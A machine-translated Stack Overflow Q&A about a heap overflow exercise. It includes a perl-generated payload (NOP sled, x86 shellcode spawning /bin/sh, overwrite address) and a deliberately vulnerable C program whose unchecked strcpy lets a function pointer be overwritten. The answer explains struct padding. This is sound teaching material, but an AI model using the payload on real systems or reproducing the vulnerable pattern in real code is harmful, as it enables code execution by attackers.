c - 堆溢出 - 堆的结构

标签 c heap-memory

当尝试执行基本的堆攻击时,除了输入字符串的大小外,我什么都明白。可以使用 perl -e 'print "\x90"x (760) 来利用以下代码。 "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x78\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"。 "\x00\x98\x04\x08"' 作为程序的参数。使用的 shellcode 有 21 个字节长。这里的总字符串大小为 785 字节,即 777 个缓冲区 + 4 个我不知道的内容和 4 个我们正在覆盖的函数指针。

我读了here这 4 个字节是:

A pointer keeps track the top of heap similar to the stack pointer of the stack

我的假设是否正确?

#include <stdio.h>
#include <unistd.h>

void greetUser(char *s) {
    printf("Hello %s!\n", s);
}

struct data_t {
    char buf[777];
    void (*fp)(char *);
} somedata;

int main(int argc, char **argv) {
    somedata.fp = &greetUser;

    if(argc < 2) {
    printf("Usage: %s YourName\n", argv[0]);
    exit(1);
    }

    strcpy(somedata.buf, argv[1]);
    (somedata.fp)(somedata.buf);

    return 0;
}

最佳答案

不,这是不正确的。 你只需要溢出 784 个字节:

 char buf[777];     // 777 bytes
 <padding>          // usually 7 bytes to have fp 8-byte-aligned
void (*fp)(char *); // 8 bytes function pointer

在 64 位系统上。在 32 位系统上,fp 应该是 4 字节对齐的(因此 fp 在结构开始后的 780 字节处开始)

关于c - 堆溢出 - 堆的结构,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/34274840/

相关文章:

c - 64位机器内存分配

无法从 OpenGL 中的着色器访问先前渲染的纹理

c++ - 当基类没有虚拟析构函数时为空子类 - 删除基指针的不利影响?

jmap 命令 : Premature EOF 的 Java 堆转储错误

c++ - Visual C++ 中的堆帧有多大

c - C中有监视器吗?

c - free() 的功能

c - 如何通过单个 fork() 调用使子进程保持事件状态?

java - 使用 Xmx 增加 JVM 堆内存不起作用

c++ - 段错误在 gtest 中初始化堆栈上的引用变量